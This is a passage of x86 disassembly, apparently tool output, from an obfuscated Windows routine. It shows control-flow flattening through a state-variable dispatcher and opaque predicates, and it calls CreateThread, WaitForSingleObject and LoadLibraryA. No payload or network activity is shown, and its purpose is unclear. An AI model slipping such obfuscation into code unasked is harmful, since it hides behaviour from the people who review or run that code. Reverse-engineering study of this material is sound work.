sub edx, 1
add edx, 0xcf09a91e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x158efd4e
mov ecx, 0x347c99f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov eax, dword [ebp - 0x49874]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, eax
mov eax, dword [ebp - 0x49960]
mov dword [eax], ecx
mov eax, dword [ebp - 0x49968]
mov dl, byte [eax]
mov eax, 0xb1ed7639
mov ecx, 0xd4135cbb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0xb1ed7639
jmp 0x412bc8
mov eax, dword [ebp - 0x49960]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x499e8], 0x44a369bc
jmp 0x412bc8
mov eax, dword [ebp - 0x498f8]
mov dword [ebp - 0x499c4], eax
mov dword [ebp - 0x499c8], 0
mov dword [ebp - 0x499e8], 0x78ff8efe
jmp 0x412bc8
mov eax, dword [ebp - 0x498f0]
mov dword [ebp - 0x499cc], eax
mov eax, dword [ebp - 0x499cc]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x499d0], eax
mov dword [ebp - 0x499e8], 0x81ff2623
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0x4c429e98
jmp 0x412bc8
mov eax, dword [ebp - 0x498b4]
mov eax, dword [ebp - 0x498b4]
mov eax, dword [ebp - 0x498b4]
mov dword [ebp - 0x499e8], 0x95b7d01f
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0x5006c6ef
jmp 0x412bc8
mov eax, dword [ebp - 0x4989c]
mov dword [ebp - 0x499e8], 0x8899011c
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0xc35e0e96
jmp 0x412bc8
mov eax, dword [ebp - 0x49884]
cmp dword [eax], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x49968]
mov byte [eax], cl
mov eax, dword [ebp - 0x49968]
mov dword [ebp - 0x499e8], 0x37908664
jmp 0x412bc8
jmp 0x40eadc